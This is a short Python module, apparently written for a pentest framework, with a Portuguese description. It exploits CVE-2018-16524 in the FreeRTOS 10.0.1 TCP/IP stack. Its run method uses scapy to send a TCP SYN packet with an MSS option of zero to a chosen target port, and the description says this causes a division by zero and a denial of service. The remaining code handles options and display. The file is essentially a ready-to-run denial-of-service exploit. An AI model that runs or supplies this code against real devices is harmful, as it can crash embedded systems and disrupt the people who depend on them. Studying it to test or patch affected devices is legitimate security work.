from scapy.all import *

class exploit:
  _name = "CVE-2018-16524"
  _descriptions = ''' 
Este modulo explora uma vulnerabilidade encontrada na pilha TCP/IP do sistema embarcado FreeRTOS 10.0.1
e publicada em 06/12/2018. Ao fornecer um pacote TCP com MSS de valor zero, é possível causar um 
Dos, pois ao recalcular o tamanho da janeal o valor atual é dividido pelo MSS, causando assim, uma 
divisão por zero.
  '''
  _references = """
https://www.cvedetails.com/cve/CVE-2018-16524
https://blog.zimperium.com/freertos-tcpip-stack-vulnerabilities-details/  
  """
  _port = None

  def __init__(self):
    self._port = 1234

  def run(self, target):
    print("Run exploit ...")
    send(IP(dst=target)/TCP(flags='S', options=[('MSS', 0)], dport=self._port))

  def show_details(self):
    print("""
Name:
............
%s

Description:
.............
%s

References:
............
%s
""" %(self._name, self._descriptions, self._references))

  def show_options(self):
    print("""
Options:
........
Name      Value             Descriptions
....      .....             ............
port      %d                The destination port to send.
""" %self._port)
  
  def set_options(self, command_str):
    if "port" in command_str:
      port = int(command_str.replace("port ", ""))
      if port >= 0 and port <= 65535:
        self._port = port
      else:
        print("%d: invalid port")
    else:
      print("%s: invalid option" %command_str)